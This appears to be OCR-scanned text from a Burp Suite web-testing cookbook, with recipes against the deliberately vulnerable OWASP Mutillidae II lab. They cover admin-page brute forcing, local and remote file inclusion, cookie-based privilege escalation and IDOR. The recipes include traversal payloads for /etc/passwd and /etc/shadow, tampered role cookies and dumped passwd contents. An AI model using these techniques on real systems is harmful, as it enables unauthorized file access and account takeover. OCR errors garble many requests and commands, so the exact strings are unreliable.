Accept: text/html,application/xhtml+txnl, application/xml; q=0.9,%/%;¢q=0.8 Clear §
Accept-Language: en-US,en,;q=0.5 S
Accept-Encoding: gzip, deflate Auto §
Deferer: http://192. 166.55.101/mutillidae/

Coockie: showhints=1; PHPSESSID=c766tk7i%0dgsgdlunciceoskl; Rafrash
acopendivids=swingset,jotto,phpbbl,redunine; acgroupswithpersist=nada

Connection: close

Upgrade-Insecure-Requests: 1

6. Continue to the Intruder | Payloads tab, and select the following wordlist from
the wfuzz repository: admin-panels.txt. The location of the wordlist from the
GitHub repository follows this folder structure:
wfuzz/wordlist/general/admin-panels.txt.

7. Click the Load button within the Payload Options [Simple list] section of the
Intruder | Payloads, tab and a popup will display, prompting for the location of
your wordlist.

8. Browse to the location where you downloaded the wfuzz repository from
GitHub. Continue to search through the wfuzz folder structure
(wfuzz/wordlist/general/) until you reach the admin-panels.txt file, and
then select the file by clicking Open:
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[ Target I Positions. [ Payloads I[ Options ]

@ Payload Sets

You can define one or more payload sets. The number of payload sets depends on the attack type defined in the Positions tab. Warious
are available for each payload set, and each payload type can be customized in different ways.

Payload set: L 1 | V] Paylead count: 0
Payload type: | Simple list [ 3] X
Look In: [ﬁgeneral }""] l @ J l @ J l fﬁ' J | = H .@J J
@ Payload Options [Simple list
This payload type lets you configure EI admin-panels. bt EI hitp_methads.txt
[ big.bet [ medium.bxt
Paste El catala.txt E| megabeast.tet
) El commaon.bxt El mutations_common. bxt
| E| euskera.bxt E| spanish. b
——— El extensions_common. txt El test txt

Clear File Name: | admin-panels.txt |

Files of Type: | Al Files v

Add Enter a new item

| Add from list... |L_open | [ cancel |

9. Scroll to the bottom and uncheck (by default, it is checked) the option URL-
encode these characters:

@ Payload Encoding

This =etting can be uzed to URL-encode selected characters within the final payload, for safe transmizsion within HTTP requesis.

] URL-encode these characters: | .N=<>7+&%"{}""
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10. You are now ready to begin the attack. Click the Start attack button at the top
right-hand corner of the Intruder | Positions page:

The attack results table will appear. Allow the attacks to complete. There are 137
payloads in the admin-panels.txt wordlist. Sort on the Length column from
ascending to descending order, to see which of the payloads hit a web page.

11. Notice the payloads that have larger response lengths. This looks promising!
Perhaps we have stumbled upon some administration pages that may contain
fingerprinting information or unauthorized access:

‘! Intruder attack 4

Attack Save Columns

_[ Results. T Target T Positions T Pavlpads T Options ]

Fiter: Showing all tems
Request | Payload | Status | Error | Timeout | Length ¥ | Comment
80 administrator.php 200 O O 99104
1 admin.php 200 O O 99047
200 O O 50739
2 login.php 200 O O 50739
120 home.php 200 ] L] 45501
50 panel-administracion/login. htmi 200 O O 42002
104 panel-administracionfindex_html 200 O [ 42002
105 panel-administracion/admin.html 200 O O 42002
116 panel-administracion/login.php 200 ] ] 41985
124 panel-administracionfindex.php 200 ] [l 41555
125 panel-administracion/admin.php 200 O ] 41995
74 pages/admin/admin-login.html 200 O L 41984
52 pages/admin/admin-login.php 200 ] [l 41578
0o mArminintratar!nsssant biesl NN 1 I I_ AADTY
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12. Select the first page in the list with the largest length, administrator.php. From
the attack results table, look at the Response | Render tab, and notice the page
displays the PHP version and the system information:

| &

Attack Save Columns

j Results T Target ]' Positions T Payloads T Options. l

Fiter: Showing all tems

Request | PBYM | Status | Error Timeout Lenﬂn ¥ | Comment
Ef administrator.ohp 200 Ll L[] 99106 I

1 admin.php 200 (] ) 99050

0 200 ] =) 50739

21 login.php 200 (8]} o 50739

120 home.php 200 (] u 45901

[ Request | Response

®% OWASP Mutillidae II: Web Pwn in Mass Produc

Version: 2,6.24  Security Level: 0 (Hosed) Hints: Enabled (1 - Script Klddle) Not Logged In

OWASP 2013 Secret PHP Server Configuration Page

OWASP 2010
Back e Help Me!
OWASP 2007 ) .

Web Services

s PHP Version hp)|

How it works...

Without even being logged in, we were able to force browse to an area of the web
application that was unmapped. The term unmapped means the application itself had no
direct link to this secret configuration page. However, using Burp Intruder and a wordlist
containing commonly known administration file names, we were able to discover the page
using the directory traversal attack.
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Testing for Local File Include (LFI)

Web servers control access to privileged files and resources through configuration settings.
Privileged files include files that should only be accessible by system administrators. For
example, the /etc/passwd file on UNIX-like platforms or the boot . ini file on Windows
systems.

A LFI attack is an attempt to access privileged files using directory traversal attacks. LFI
attacks include different styles including the dot-dot-slash attack (../), directory brute-
forcing, directory climbing, or backtracking.

Getting ready

Using OWASP Mutillidae II as our target application, let's determine whether it contains
any LFI vulnerabilities.

How to do it...

Ensure Burp and OWASP BWA VM are running and that Burp is configured in the Firefox
browser used to view the OWASP BWA applications.

1. From the OWASP BWA Landing page, click the link to the OWASP Mutillidae II
application.

2. Open the Firefox browser to the login screen of OWASP Mutillidae II. From the
top menu, click Login.

3. Find the request you just performed within the Proxy | HTTP history table. Look
for the call to the 1ogin.php page. Highlight the message, move your cursor into
the Raw tab of the Request tab, right-click, and Send to Intruder.

4. Switch over to the Intruder | Positions tab, and clear all Burp-defined payload
markers by clicking the Clear § button on the right-hand side.

5. Highlight the value currently stored in the page parameter (1ogin.php), and
place a payload marker around it using the Add § button on the right-hand side.
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6. Continue to the Intruder | Payloads tab. Select the following wordlist from the
wfuzz repository: Traversal.txt. The location of the wordlist from the GitHub
repository follows this folder structure:
wfuzz/wordlist/injections/Traversal.txt.

7. Click the Load button within the Payload Options [Simple list] section of the
Intruder | Payloads tab. A popup will display, prompting for the location of
your wordlist.

8. Browse to the location where you downloaded the wfuzz repository from
GitHub. Continue to search through wfuzz folder structure until you reach the
admin-panels.txt file. Select the file and click Open:

Target | Positions | Payloads | Options

@ Payload Sets

You can define one or more payload sets. The number of payload sets depends on the attack type defined in the Positions tab. Various payload types are availa
can be customized in different ways.

Payload set: | i |* Payload count: 68

Payload type: | Simple list .T‘ Request count: | [} X

ook (@mestons  |v) (@ (@) (@) (B B |

? Payload Options [Simple list]

T
|
This payload type lets you configure a simple list of strings that ar EL All_attack bt
D bad_chars.txt
Paste Jdod dd A 10 eteiosts%00 IEEES
AL Jeteihosts t Traversal txt

J..Iboot.ini 5 XLt

LA LA L R2A D XSS bt

Remove A Jeteipasswd %00

W Jetcipasswd

Clear dodod g d .0 1] Jeteishadow %00 File Name: |Traversa|_m |

odod g d 20 L Jeteishadow
14401011 ] Jetcipasswd™ Files of Type: | All Files |

Add Enter a new item

| Add from list ...

j Cancel
| v
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9. Scroll to the bottom and uncheck (by default, it is checked) the option URL-
encode these characters.

10. You are now ready to begin the attack. Click the Start attack button at the top-
right-hand corner of the Intruder | Positions page.

11. The attack results table will appear. Allow the attacks to complete. Sort on the
Length column from ascending to descending order, to see which of the
payloads hit a web page. Notice the payloads with larger lengths; perhaps we
gained unauthorized access to the system configuration files!

‘f Intruder attack 6

Aftack Save Columns

_[ Results T Target T Positions T Payloads T Dptions ]

Fiter: Showing all tems

Request 4 | Payload | Status | Error | Timeout | Length | Comment
0 200 ] O 50739
1 A fetcthoste %00 200 Ul O 42092
2 AL Jetcihosts 200 O O 41408
3 .I./boot.ini 200 O O 41800
4 P T T 2A 200 3 O 41872
5 A Teteipasswd %00 200 O O 42098
5 LA feteipasswd 200 O O 42274
7 L3 Jetcishadow %00 200 ] L 42098
3 AL feteishadow 200 | O 38922
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12. Select the Request #2 in the list. From the attack results table, look at
the Response | Render tab and notice the page displays the host file from the
system!

B ntrude k O

Aftack Save Columns

J Results T Target T Positions ] Payloads I Options ]

Filter. Showing all items

Request 4 | Payload | Status Error | Timeout | Length | Comment
0 200 a a 50739

1 A A1 1A )] Jetc/hosts%00 200 @] =] 42092

2 Jod.d.d.d 1.0 1.0 ] letc/hosts 200 (@] J 41408 |
3 J.iboot.ini 200 a =] 41900

4 LA AL TR2A 200 g 0] 41972

5 1.4, 14411 Jetcipasswd%00 200 a m] 42098

6 y 11411 letclpasswd 200 a @] 42274

7 oAb A2 ] detelshadow %00 200 o @] 42098

8 oAl 0] detcishadow 200 a @] 38922

o L L L 200 1 1 ANTA

Request | Response

Raw | Headers | Hex | HTML | Render

@+ OWASP Mutillidae II: Web Pwn in Mass Production

Hints: Enabled (1 - Script Kidd1ie)

Version: 2,6.24  Security Level: 0 (Hosed) Not Logged In

127.0.0.1 localhost 127.0.1.1 owaspbwa owaspbwa.localdomain # following lines are for the haclxor
application 127.0.0.1 wraithmail 127.0.0.1 cloaknet 127.0.0.1 gghb 127.0.0.1 hub71 127.0.0.1 utrack
127.0,0.1 wraithbox # the following are used for OWASP 1 Liner 127.0,0.1 local, 1-iner.org 127.0.0.1

other. 1-lner.org 127.0.0.1 local.-iner.org 127.0.0.1 3rd-party.info 127.0.0. 1 attaclkr.se # The following lines
OWASP 2007 are desirable for IPv6 capable hosts :: 1 locahost ip6-localhost ipé-loopback fe00::0 ipé-localnet ff00::0
ipe-mcastprefix ff02::1 ip6-alnodes ff02::2 ip6-alrouters ff)2::3 ip6-alhosts

OWASP 2013

OWASP 2010

Web Services
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13. Continue scrolling down the list of requests in the attack results table. Look at
request #6, and then look at the Response | Render tab and notice the page
displays the /etc/passwd file from the system!

[ 4] |

Aftack Save Columns

_[ Results T Target T Posttions I Payloads T Options ]

| Filter: Showing all tems | L
Request 4 | Payload | Status | Error | Timeout | Length | Comment
0 200 @) O =739 \
1 hdododod d g od . Jetcihosts %00 200 @] O 42092 |
2 L b p L deteihosts 200 O O 41408
3 ..I..fooot.ini 200 g o 41900
4 LA ddd 0 ] J%2A 200 O O 4972
5 b d bt LA )] fetc/passwd%00 200 @] (] 42098
8 LIS S ) Jetcipasswd 200 L] L] azz7a ]
7 Pt g0 0] ] letcishadow %00 200 O O 42098
8 Pl gt g d L detcishadow 200 O a 38922
o Ll pr il lsteinasemdhh 200 I Ll AINTA

Request | Response

Raw | Headers | Hex | HTML | Render

®% OWASP Mutillidae II: Web Pwn in Mass Production

Version: 2,6.24  Security Level: 0 (Hosed) Hints: Enabled (1 - Script Klddle) Not Logged In

OWASP 2013 root:x:0:0:root: root: bin/bash daemon:x: 1: L.daemon: /usr fsbin: /binfsh bin:x: 2:2:bin: bin: binfsh sys:x:3: 3:sys: [dev . /bi
Syne:x:4:65534:sync: /bin: bin/sync games:x:5:60:games . /usr/games: /bin/sh man:x:e:12:man:/var/cache/man: /bin/sh
OWASP 2010 Ip:x:7:7Ip: fvar fspoolfipd: bin/sh mail:x:8:8:mail:fvar /mail: bin/sh news:x:9:9:news: fvar fspoolfnews: bin/sh
uucp:x:10:10:uucp: var fspool/uucp: fbin/sh proxy:x: 13:13:proxy: /bin: fbin/sh www-data:x: 33:33:www-data: fvar fwww:
OWASP 2007 backup:x:34:34:backup: /var/baclkups:/bin/sh list:x:38: 38:Mailing List Manager: /var flist:/bin/sh
irc:x:39:39:ired: /var frunfired: /bin/sh gnats:x:41:41:Gnats Bug-Reporting System (admin):/varib/gnats:/bin/sh
Web Services nobody :x:65534:65534:nobody : /nonexistent: /bin/sh libuid:x: 100: 101:: fvar Aibfibuvid: /bin/sh
syslog:x: 101:102:: home/syslog:/binffalse Klog:x:102:103:: fhomeKlog:bin/false mysglix:103:105:MySQL
HTML 5 Server,,,. fvar fib/mysql: bin/false landscape:x; 104:122:: fvar liblandsc ape:: bin/false

How it works...

Due to poorly protected file permissions and lack of application authorization checks,
attackers are able to read privileged local files on a system containing sensitive information.
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Testing for Remote File Inclusion (RFI)

Remote File Inclusion (RFI) is an attack attempting to access external URLs and remotely
located files. The attack is possible due to parameter manipulation and lack of server-side
checks. These oversights allow parameter changes to redirect the user to locations that are
not whitelisted or sanitized with proper data validation.

Getting ready

Using OWASP Mutillidae II as our target application, let's determine whether it contains
any RFI vulnerabilities.

How to do it...

Ensure Burp and OWASP BWA VM are running and that Burp is configured in the Firefox
browser used to view the OWASP BWA applications.

1. From the OWASP BWA Landing page, click the link to the OWASP Mutillidae II
application.

2. Open the Firefox browser to the login screen of OWASP Mutillidae II. From the
top menu, click Login.

3. Find the request you just performed within the Proxy | HTTP history table. Look
for the call to the 1ogin.php page:

Target Spider | Scanner I Intruder I Repeater I Sequencer ] Decoder ‘I Comparer I Extender T Project options. Iuser options ]Alen.s

" Intercept || HTTP history || VWebSockets history I Options ]

‘ Fitter: Hiding CSS, image and general binary content

# 4| Host | Method URL | Params | Edited Status | Length MIME type Extension
37{ hitp://192.168.56.101 I GET Imutilidaefindex. php?page=login.php v 200 |50789 HTML php
-

Request Respunse]
Raw | Params I Headers {E]

GET /mutillidas/index.php?page=login.php HITP/L1 1

Host: 182.188.55.101

User-Agent: Mozilla/5.0 (Windows NT 10.0; WinE4; xE4; rv:€l.0) Gecko/20l0D10l Firefox/€1.0
Aecept: text/html,application/xhtmléxml,application/xml;q=0.9,*%/*;¢q=0.8

Accept-Language: en-US,en;q=0.5

Aecept-BEncoding: gzip, deflate

Referer: http://197_1E8.56.101/mutillidae/index.php?page=home. php&popUplotificationCode=HPHO

Cockie: showhints=1; PHPSESSID=c7&6tk7iS0dqSgdlunciccok?; acopendivids=swingset,jotto,phpbb?,rednine; acgroupswithpersist=nada
Connection: close

Upgrade-Insecure-Requests: 1
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4. Make a note of the page parameter that determines the page to load:

_[ Reguest T Response ]

—[ Raw T Params T Headers T Hex ]
GET fmutillidae/index.php?page=login.php HITP/1.1

Let's see if we can exploit this parameter by providing a URL that is outside the
application. For demonstration purposes, we will use a URL that we control in the
OWASP BWA VM. However, in the wild, this URL would be attacker-controlled
instead.

5. Switch to the Proxy | Intercept tab, and press the Intercept is on button.

6. Return to the Firefox browser, and reload the login page. The request is paused
and contained within the Proxy | Intercept tab:

Target | Proxy 1 Spider ] Scanner | Intruder | Hepeater ] Seguencer ] Decoder

Intercept | HTTP history [WehSuckets history | Options |

Forward Drop Intercept is on Action

Raw Param= Headers Hex

7. Now let's manipulate the value of the page parameter from login.php to a URL
that is external to the application. Let's use the login page to the GetBoo
application. Your URL will be specific to your machine's IP address, so adjust
accordingly. The new URL will be http://<your_IP_address>/getboo/

8. Replace the 1ogin.php value with http://<your_IP_address>/getboo/
and click the Forward button:
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[Targe‘t T Proxy T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder I Comparer T Extender T Project options T User options TAIerts ]

_[ Intercept T HTTP history T WebSockets history T Options l

w Request to hitp://192.168.56.101:80

{ Forward J l Drop J | Intercept is on ‘ Action

Raw | Params | Headers m

GET /mutillldae/index,php?page:htbp:/IlS'_‘,lES,EE,lUl/gethoDII HTTP/1.1

ost: 157 1e8.5e.101

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win&4; xE4; rv:E1.0) Gecko/Z0100101 Firefox/E1.0

Accept: text/htnl,application/xhtmltxml, application/xnl;q=0.9, */*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://192.168.56.101/mutillidae/index. php?page=home.php&ipopUpllotificacionCode=HPHO

Cockie: showhints=l; PHPSESSID=cT7eétk7ifc0dqbgdlumclccockl; acopendivids=swingset,jotto,phpbbl,rednine; acgroupswithpersist=nada

Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

9. Now press the Intercept is on again to toggle the intercept button to OFF
(Intercept is off).
10. Return to the Firefox browser, and notice the page loaded is the GetBoo index
page within the context of the Mutillidae application!

®% OWASP Mutillidae Il: Web Pwn in Mass Production

Version: 2.6.24  Security Level: 0 (Hosed) Hints: Enabled (1 - 5cript Kidd1e) Not Logged In

Home Login/Register Toggle Hints Show Popup Hints Toggle Security Enforce SSL Reset DB View Log View Captured Data

»
Please remove the /install folder now
»
GetBoo Logo
.
About / Help / Register / Log In

Discover

Submit Query

Welcome to getboo!

The social bookmarking open-source platform.
Recent Tags

OWASP Home Page

OWASP Home Page
. owasp by user ... on 2010-11-09
Getting Started: comment(1)

Project Whitepaper

OWASP Broken Web Applications Project Home Page
’ OWASP Broken Web Applications Project Home Page
owasp by user ... on 2010-11-09

Release submit comment

Announcements

Previous | Next Displaying 10 20 30 40 50 per page

RSS icon feed for this page
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How it works...

The page parameter does not include proper data validation to ensure the values provided
to it are whitelisted or contained to a prescribed list of acceptable values. By exploiting this
weakness, we are able to dictate values to this parameter, which should not be allowed.

Testing for privilege escalation

Developer code in an application must include authorization checks on assigned roles to
ensure an authorized user is not able to elevate their role to a higher privilege. Such
privilege escalation attacks occur by modifying the value of the assigned role and replacing
the value with another. In the event that the attack is successful, the user gains
unauthorized access to resources or functionality normally restricted to administrators or
more-powerful accounts.

Getting ready

Using OWASP Mutillidae II as our target application, let's log in as a regular user, John,
and determine whether we can escalate our role to admin.

How to do it...

Ensure Burp and OWASP BWA VM are running and that Burp is configured in the Firefox
browser used to view the OWASP BWA applications.

1. From the OWASP BWA Landing page, click the link to the OWASP Mutillidae II
application.

2. Open the Firefox browser to the login screen of OWASP Mutillidae II. From the
top menu, click Login.

3. At the login screen, log in with these credentials—username: john
and password: monkey.
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4. Switch to Burp's Proxy | HTTP history tab. Find the POST and subsequent GET
requests you just made by logging in as john:

[Targell Proxy I Spider ] Scanner T intruder Tﬁepealer ] Sequencer TDecDﬂer TCuwnrer T Extender T Project options TUser options IAiens
intercept | HTTP history | WebSockets history | Options
Filter. Hiding CSS, image and general binary content

[& aHost | Method | URL

[Params | Edted | Status | Length | MMEtype | Extension | Tite

426 hitp://192.168.56.101 POST Imutilidae/index. php?page=login.php v 302 50912 HTML php
427 http:/i192.168.56.101 GET /mutilidae/index. php?popUpNiotificationCode=AU1 v 200 46550 HTML hy

5. Look at the GET request from the listing; notice the cookie name/value pairs
shown on the Cookie: line.

The name/value pairs of most interest include username=john and uid=3. What
if we attempt to manipulate these values to a different role?

Target | Proxy | Spider | Scanner T Intruder T Repeater I Sequencer T Decoder T Comparer I Extender ] Project options T User options | Alerts
f | Intercept | HTTP history | WebSockets history T Options ]

| Fitter: Hiding CSS, image and general binary content

# 4| Host | Method | URL | Params | Edited Ststus | Length | MMEtype | Extension
426 http://192.168.56.101 POST Imutilidae/index. php?page=Ilogin.php v 302 50912 HTML php

427 http:/1192.168.56.101 GET ill phpZpopl ificationCode=AU1 v 200 48550 HTML php

< 7

Request | Response
Raw | Params | Headers m

GET /mutillidae/index.php7popUpNotificationCode=AUL HTTE/1.1

Host: 182.1E£8.56.101

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x€4; rv:E1.0) Gecko/Z0100101 Firefox/€1.0
Accept: text/html, application/xhtml+xml, application/xml;q=0.9,%/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer. hetp. //1Ss 18 5SS 10l pucillidas/index phrplipage=login, phi

Coolrie: showhints=l; username=john; uid=3; PHPSESSID=c7é6tk7iSodq5g4lunciccobls; acopendivids=swingset,jotto,phpbb2,reduine; acgroupswithpersist=nadj
Connection: close

Upgrade-Insecure-Requests: 1

6. Let's attempt to manipulate the parameters username and the uid stored in the
cookie to a different role. We will use Burp's Proxy | Intercept to help us perform
this attack.

7. Switch to the Proxy | Intercept tab, and press the Intercept is on button. Return
to the Firefox browser and reload the login page.
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8. The request is paused within the Proxy | Intercept tab. While it is paused,
change the value assigned to the username from john to admin. Also, change the
value assigned to the uid from 3 to 1:

[Target I Proxy I Spider I Scanner T Intruder I Repeater I Sequencer I

HTTP history T WebSockets history T Options ]

#| Request to http://1192.168.55.101:30

[ Forward J l Drop J l Intercept is on l { Action }

J Raw I Params.] Headers I Hex W

GET /mutillidae/index. php?popUplotificationCode=AT1 HTTP/1
Host: 15I.168.5&.101

User-Agent: Mozilla/5.0 (Windows HNT 10.0; Wingd; x&4; rv:g)
Accept: text/html,application/xhtmltxml, application/xml;qg=|

Accept-Langquage: en-US,en;qg=0_5
Accept-Encoding: gzip, deflate
RBeferer: http:// 192 168 _E5&.101l/mutillidae/index.php?page=1,
Cookie: showhints=1l; username=admin; uid=l;| PHPSESSID=cT766]
Connection: close
Upgrade-Insecure-Requests: 1

Cache-Control: max-age=0

9. Click the Forward button, and press the Intercept is on again to toggle the
intercept button to OFF (Intercept is off).
10. Return to the Firefox browser, and notice we are now logged in as an admin! We
were able to escalate our privileges from a regular user to an admin, since the
developer did not perform any authorization checks on the assigned role:

@ OWASP Mutillidae Il: Web Pwn in Mass Production

Version: 2.6.24  Security Level: 0 (Hosed) Hints: Enabled (1 - 5cript K1idd1e) |Logged In Admin: admin (g0t r00t?

Home Logout Toggle Hints Show Popup Hints Toggle Security Enforce SSL Reset DB View Log View Captured Data

( Mutillidae: Deliberately Vulnerable Web Pen-Testing Application |

Like Mutillidae? Check out how to help

? What Should | Do? Video Tutorials
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How it works...

There are several application issues associated with the privilege escalation attack shown in
this recipe. Any actions related to account provisioning (that is, role assignments) should
only be allowed by administrators. Without proper checks in place, users can attempt to
escalate their provisioned roles. Another issue exemplified in this recipe is the sequential
user ID number (for example, uid=3). Since this number is easily guessable and because
most applications start with administrator accounts, changing the digit from 3 to 1 seemed
a probable guess for association with the admin account.

Testing for Insecure Direct Object Reference
(IDOR)

Allowing unauthorized direct access to files or resources on a system based on user-
supplied input is known as Insecure Direct Object Reference (IDOR). This vulnerability
allows the bypassing of authorization checks placed on such files or resources. IDOR is a
result of unchecked user supplied input to retrieve an object without performing
authorization checks in the application code.

Getting ready

Using OWASP Mutillidae II as our target application, let's manipulate the value of the
phpfile parameter to determine whether we can make a call to a direct object reference on

the system, such as /etc/passwd file.
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How to do it...

1. From the Mutillidae menu, select OWASP 2013 | A4 - Insecure Direct Object
References | Source Viewer:

®% OWASP Mutillidae Il: Web Pwn in

Version: 2.6.24 Security Level: 0 (Hosed) Hints: Enabled (1 - 5cript K1dd1e)

Home Logout Toggle Hints Show Popup Hints Toggle Security Enforce SSL Res

OWASP 2013 Al - Injection (SQL) »

Ny2rately Vulnerable Web

A1l - Injection (Other)

OWASP 2010

A2 - Broken Authentication and . -
OWASP 2007 Session Management Like Mutillidae? Check out how to

Web Services A3 - Cross Site Scripting (XSS)

A4 - Insecure Direct Object » Text File Viewer
References

Source Viewer
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2. From the Source Viewer page, using the default file selected in the drop-down
box (upload-file.php), click the View File button to see the contents of the file
displayed below the button:

e®% OWASP Mutillidae Il: Web Pwn in Mass Production

Version: 2.6.24  Security Level: 0 (Hosed) Hints: Enabled (1 - 5cript Kidd1e) Not Logged In

Home Login/Register Toggle Hints Show Popup Hints Toggle Security Enforce SSL Reset DB View Log View Captured Data

( Source Code Viewer

QQ Back e Help Me!

Hints

To see the source of the file, choose and click "View File".
Note that not all files are listed.

Source File Name upload-file.php v

File: upload-file.php

<?php include_once (__ROOT__."' /classes/FileUploadExceptionHandler.php') ;2>
<?php include_once (__BDOT__.'/includes/hack-button.inc');?>
<?php include_once (__ROOT__.'/includes/hints-level-1l/level-l-hints-menu-wrapper.inc'); ?>
<?php
tryl

switch ($_SESSION["security-level"]){
case "0": // This code is insecure. No input wvalidation is performed

$1EnableJavascriptvalidation = FALSE;
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3. Switch to Burp's Proxy | HTTP history tab. Find the POST request you just made
while viewing the upload-file.php file. Note the phpfile parameter with the
value of the file to display. What would happen if we change the value of this
parameter to something else?

Target | Proxy | Spider | Scanner T Intruder T Repeater ] Sequencer I Decoder TCompnrer IExlender ] Project options I User options IAlerts
[ Intercept | HTTP history | WebSockets history I Options ]

Fiter: Hiding CSS, image and general binary content

# 4| Host Method | URL | Params | Edted | Status | Length | MMEtype |Extension | Title

L?i hitp://192.168.56.101 POST il pag i -php v 200 98887 HTML php
E J

Request | Response
Raw PnramsTHeaders Hex}

POST /mutillidae/index.phplpagessource-viewer php HTTP/L1.1

Host: 192.1€8.56.101
User-Agent: Mozilla/5. 0 (Vindows NT 10.0; Winéd; x&4; rv:£l.0) Gecko/20100101 Firefox/E1.0

Accepr: text/html, application/xhtml+xml, application/xml;q=0.9,*/*;q=0.8

[Accept-Language: en-US,en;q=0.5
[Accept-Encoding: gzip, deflate

Peferer: hrep://192.168.S6.101/murillidae/index. php?page=source—viewer php
Content-Type: application/x-www-form-urlencoded

Content-Length: 93

Cookie: showhints=1; PHPSESSID=c766tk7iSodqSgdlumelecobkl; acopendivids=swingset,jotto,phpbbl, reduine; acgroupswithpersist=nada

Comnection: close
[Upgrade-Insecure-Requests: 1

page=source-viewser.phpaphpfile=upload-file. phpssource-file-viewer-php-submit-button=ViewtFile

4. Let's perform an IDOR attack by manipulating the value provided to the
phpfile parameter to reference a file on the system instead. For example, let's
try changing the upload-file.php valueto ../../../../etc/passwd via
Burp's Proxy | Intercept functionality.

5. To perform this attack, follow these steps.

1. Switch to the Proxy |Intercept tab, and press the Intercept is on
button.

2. Return to the Firefox browser and reload the login page. The request is
paused and contained within the Proxy | Intercept tab.
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3. As the request is paused, change the value assigned to the phpfile
parameter to the value ../../../../etc/passwd instead:

[Target T Proxy T Spider I Scanner T Intruder I Repeater I Sequencer I Decoder I Comparer T Extender I Project options I User

_[ intercept T HTTP history I WebSockets history T Options ]

@J Request to http:/192.168.55.101:280

[ Forward J |_ Drop J | Intercept is on \ Action
_[ Raw T Params T Headers T Hex ]

POST /mutillidae/index.php?page=source-viewer_ php HTTP/1.1

Host: 1592.168.56.101

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win&4; x€4; rv:£1.0) Gecko/Z0100101 Firefox/E1.0
Accept: text/html,application/xhtmltxmnl, application/xml;q=0.9, */*;q=0.8

Accept-Language: en-US,en;qg=0.5

Accept-Encoding: gzip, deflate

Beferer: http://192.1608.56.101/mutillidas/index.phpl?page=source-viewsr.php

Content-Type: application/x-www-form-urlencoded

Content-Length: 93

Cookie: showhints=1; PHPSESSID=cT7&66tk7i90dgqbgdlunciecofk?; acopendivids=swingset,jotto,phpbhl, rednine;
Comnection: close
Upgrade-Insecure-Requests: 1

page=50urce*viewer,php*phpfile=_.f__f._f__/etcfpasswdfsDurce—file—viewer—php—suhmib—hutton=View+File

6. Click the Forward button. Now press the Intercept is on button again to toggle
the intercept button to OFF (Intercept is off).
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7. Return to the Firefox browser. Notice we can now see the contents of the
/etc/passwd file!

( Source Code Viewer |

Back Q Help Me!

To see the source of the file, choose and click "View File".
Note that not all files are listed.

Source File Name upload-file.php v

File: ../..I..I..letc/passwd

root:x:0:0:root:/root: /bin/bash
daemon:x:1:1:daemon: /usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin: /bin/sync
games:x:5:60:games: fusr/games: /bin/sh
man:x:6:12:man:/var/cache/man: /bin/sh
1p:x:7:7:1p:/var/spool/lpd: /bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh

news:x:9:9:news: /var/spool/news:/bin/sh
uucp:x:10:10:uucp: /var/spool/uucp: /bin/sh
proxy:x:13:13:proxy:/bin: /bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup: /var/backups: /bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ired:/var/run/ircd: /bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh

How it works...

Due to lack of proper authorization checks on the phpfile parameter within the
application code, we are able to view a privileged file on the system. Developers and
system administrators provide access controls and checks prior to the revealing of sensitive
files and resources. When these access controls are missing, IDOR vulnerabilities may be
present.
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Assessing Session
Management Mechanisms

In this chapter, we will cover the following recipes:

e Testing session token strength using Sequencer

Testing for cookie attributes

Testing for session fixation

Testing for exposed session variables

Testing for Cross-Site Request Forgery

Introduction

This chapter covers techniques used to bypass and assess session management schemes.
Session management schemes are used by applications to keep track of user activity,
usually by means of session tokens. Web assessments of session management also involve
determining the strength of session tokens used and whether those tokens are properly
protected. We will learn how to use Burp to perform such tests.

Software tool requirements

To complete the recipes in this chapter, you will need the following:

e OWASP Broken Web Applications (VM)

e OWASP Mutillidae link

¢ Burp Proxy Community or Professional (https://portswigger.net/burp/)
¢ A Firefox browser configured to allow Burp to proxy traffic (https://www.

mozilla.org/en-US/firefox/new/)
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Testing session token strength using
Sequencer

To track user activity from page to page within an application, developers create and assign
unique session token values to each user. Most session token mechanisms include session
IDs, hidden form fields, or cookies. Cookies are placed within the user's browser on the
client-side.

These session tokens should be examined by a penetration tester to ensure their
uniqueness, randomness, and cryptographic strength, to prevent information leakage.

If a session token value is easily guessable or remains unchanged after login, an attacker
could apply (or fixate) a pre-known token value to a user. This is known as a session
fixation attack. Generally speaking, the purpose of the attack is to harvest sensitive data in
the user's account, since the session token is known to the attacker.

Getting ready

We'll check the session tokens used in OWASP Mutillidae II to ensure they are created in a
secure and an unpredictable way. An attacker who is able to predict and forge a weak
session token can perform session fixation attacks.

How to do it...

Ensure Burp and the OWASP BWA VM are running and that Burp is configured in the
Firefox browser used to view OWASP BWA applications.

1. From the OWASP BWA Landing page, click the link to the OWASP Mutillidae II
application.

2. Open the Firefox browser to access the home page of OWASP Mutillidae I
(URL: http://<your_VM_assigned_IP_address>/mutillidae/). Make sure
you are starting a fresh session of the Mutillidae application and not logged into
it already:
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@ OWASP Mutillidae Il: Web Pwn in Mass Production

Version: 2.6.24  Security Level: 0 (Hosed) Hints: Enabled (1 - 5cript K1dd1e) | Not Logged In |

Home Login/Register Toggle Hints Show Popup Hints Toggle Security Enforce SSL Reset DB View Log View Captured Data

OWASP 2013

I

[ Mutillidae: Deliberately Vulnerable Web Pen-Testing Application |

3. Switch to the Proxy | HTTP History tab and select the request showing your
initial browse to the Mutillidae home page.

4. Look for the GET request and the associated response containing the set-
Cookie: assignments. Whenever you see this assignment, you can ensure you
are getting a freshly created cookie for your session. Specifically, we are
interested in the PHPSESSID cookie value:

[Targe‘l I Proxy | Spider I Scanner I Intruder T Repeater I Sequencer I Decoder T Comparer T Extender T Project options. T User options IAIeﬁs
E——"""r",

[ Intercept I HTTP history l WebSockets history T Options 1

Re-enable

| Fitter: Hiding CSS, image and general binary content

# 4| Host | Method | URL | Params | Edited | Status | Length | MIME type |
